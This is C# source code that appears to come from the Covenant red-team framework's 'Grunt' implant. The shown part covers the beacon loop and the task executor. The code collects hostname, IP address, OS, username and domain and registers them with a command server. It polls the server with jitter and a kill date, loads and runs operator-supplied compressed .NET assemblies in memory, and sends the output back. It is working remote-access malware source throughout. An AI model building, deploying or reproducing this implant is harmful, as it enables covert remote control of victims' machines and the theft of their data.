private static void TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message, int Delay)
{
const int MAX_MESSAGE_SIZE = 1048576;
string output = "";
try
{
if (message.Type == GruntTaskingType.Assembly)
{
string[] pieces = message.Message.Split(',');
if (pieces.Length > 0)
{
object[] parameters = null;
if (pieces.Length > 1)
{
parameters = new object[pieces.Length - 1];
}
for (int i = 1; i < pieces.Length; i++)
{
parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i]));
}
byte[] compressedBytes = Convert.FromBase64String(pieces[0]);
byte[] decompressedBytes = Utilities.Decompress(compressedBytes);
Assembly gruntTask = Assembly.Load(decompressedBytes);
PropertyInfo streamProp = gruntTask.GetType("Task").GetProperty("OutputStream");
string results = "";
if (streamProp == null)
{
results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters);
}
else
{
Thread invokeThread = new Thread(() => results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters));
using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable))
{
using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString()))
{
streamProp.SetValue(null, pipeClient, null);
DateTime lastTime = DateTime.Now;
invokeThread.Start();
using (StreamReader reader = new StreamReader(pipeServer))
{
object synclock = new object();
string currentRead = "";
Thread readThread = new Thread(() => {
int count;
char[] read = new char[MAX_MESSAGE_SIZE];
while ((count = reader.Read(read, 0, read.Length)) > 0)
{
lock (synclock)
{
currentRead += new string(read, 0, count);
}
}
});
readThread.Start();
while (readThread.IsAlive)
{
Thread.Sleep(Delay * 1000);
lock (synclock)
{
try
{
if (currentRead.Length >= MAX_MESSAGE_SIZE)
{
for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE)
{
string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i));
try
{
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, aRead);
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
}
catch (Exception) {}
}
currentRead = "";
lastTime = DateTime.Now;
}
else if (currentRead.Length > 0 && DateTime.Now > (lastTime.Add(TimeSpan.FromSeconds(Delay))))
{
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, currentRead);
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
currentRead = "";
lastTime = DateTime.Now;
}
}
catch (ThreadAbortException) { break; }
catch (Exception) { currentRead = ""; }
}
}
output += currentRead;
}
}
}
invokeThread.Join();
}
output += results;
}
}
else if (message.Type == GruntTaskingType.Connect)
{
string[] split = message.Message.Split(',');
bool connected = messenger.Connect(split[0], split[1]);
output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" :
"Connection to " + split[0] + ":" + split[1] + " failed.";
}
else if (message.Type == GruntTaskingType.Disconnect)
{
bool disconnected = messenger.Disconnect(message.Message);
output += disconnected ? "Disconnect succeeded!" : "Disconnect failed.";
}
}
catch (Exception e)
{
try
{
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace);
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
}
catch (Exception) { }
}
finally
{
for (int i = 0; i < output.Length; i += MAX_MESSAGE_SIZE)
{
string aRead = output.Substring(i, Math.Min(MAX_MESSAGE_SIZE, output.Length - i));
try
{
GruntTaskingStatus status = i + MAX_MESSAGE_SIZE < output.Length ? GruntTaskingStatus.Progressed : GruntTaskingStatus.Completed;
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(status, aRead);
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
}
catch (Exception) {}
}
}
}
public static void Execute(string CovenantURI, string CovenantCertHash, string GUID, Aes SessionKey)
{
try
{
int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}");
int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));
List <string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List <string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n");
string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");
string Hostname = Dns.GetHostName();
string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
{
if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
{
IPAddress = a.ToString();
break;
}
}
string OperatingSystem = Environment.OSVersion.ToString();
string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
int Integrity = 2;
string UserDomainName = Environment.UserDomainName;
string UserName = Environment.UserName;
string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
IMessenger baseMessenger = null;
baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls);
baseMessenger.Read();
baseMessenger.Identifier = GUID;
TaskingMessenger messenger = new TaskingMessenger
(
new MessageCrafter(GUID, SessionKey),
baseMessenger,
new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse)
);
messenger.QueueTaskingMessage(RegisterBody);
messenger.WriteTaskingMessage();
messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
try
{
// A blank upward write, this helps in some cases with an HTTP Proxy
messenger.QueueTaskingMessage("");
messenger.WriteTaskingMessage();
}
catch (Exception) { }
List <KeyValuePair <string, Thread> > Tasks = new List <KeyValuePair <string, Thread> >();
Random rnd = new Random();
int ConnectAttemptCount = 0;
bool alive = true;
while (alive)
{
int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
if (rnd.Next(2) == 0)
{
change = -change;
}
Thread.Sleep((Delay + change) * 1000);
try
{
GruntTaskingMessage message = messenger.ReadTaskingMessage();
if (message != null)
{
ConnectAttemptCount = 0;
string output = "";
if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts)
{
if (int.TryParse(message.Message, out int val))
{
if (message.Type == GruntTaskingType.SetDelay)
{
Delay = val;
output += "Set Delay: " + Delay;
}
else if (message.Type == GruntTaskingType.SetJitter)
{
Jitter = val;
output += "Set Jitter: " + Jitter;
}
else if (message.Type == GruntTaskingType.SetConnectAttempts)
{
ConnectAttempts = val;
output += "Set ConnectAttempts: " + ConnectAttempts;
}
}
else
{
output += "Error parsing: " + message.Message;
}
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
}
else if (message.Type == GruntTaskingType.SetKillDate)
{
if (DateTime.TryParse(message.Message, out DateTime date))
{
KillDate = date;
output += "Set KillDate: " + KillDate.ToString();
}
else
{
output += "Error parsing: " + message.Message;
}
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
}
else if (message.Type == GruntTaskingType.Exit)
{
output += "Exited";
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
messenger.WriteTaskingMessage();
return;
}
else if (message.Type == GruntTaskingType.Tasks)
{
if (!Tasks.Where(T => T.Value.ThreadState == ThreadState.Running).Any())
{
output += "No active tasks!";
}
else
{
output += "Task Status" + Environment.NewLine;
output += "---- ------" + Environment.NewLine;
output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.ThreadState == ThreadState.Running).Select(T => T.Key + " Active").ToArray());
}
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
}
else if (message.Type == GruntTaskingType.TaskKill)
{
var matched = Tasks.Where(T => T.Value.ThreadState == ThreadState.Running && T.Key.ToLower() == message.Message.ToLower());
if (!matched.Any())
{
output += "No active task with name: " + message.Message;
}
else
{
KeyValuePair <string, Thread> t = matched.First();
t.Value.Abort();
Thread.Sleep(3000);
if (t.Value.IsAlive)
{
t.Value.Suspend();
}
output += "Task: " + t.Key + " killed!";
}
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
}
else if (message.Token)
{
Thread t = new Thread(() => TaskExecute(messenger, message, Delay));
t.Start();
Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t));
bool completed = t.Join(5000);
}
else
{
Thread t = new Thread(() => TaskExecute(messenger, message, Delay));
t.Start();
Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t));
}
}
messenger.WriteTaskingMessage();
}
catch (ObjectDisposedException)
{
ConnectAttemptCount++;
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "").ToJson());
messenger.WriteTaskingMessage();
}
catch (Exception e)
{
ConnectAttemptCount++;
Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
}
if (ConnectAttemptCount >= ConnectAttempts)
{
return;
}
if (KillDate.CompareTo(DateTime.Now) < 0)
{
return;
}
}
}
catch (Exception e)
{
Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
}
}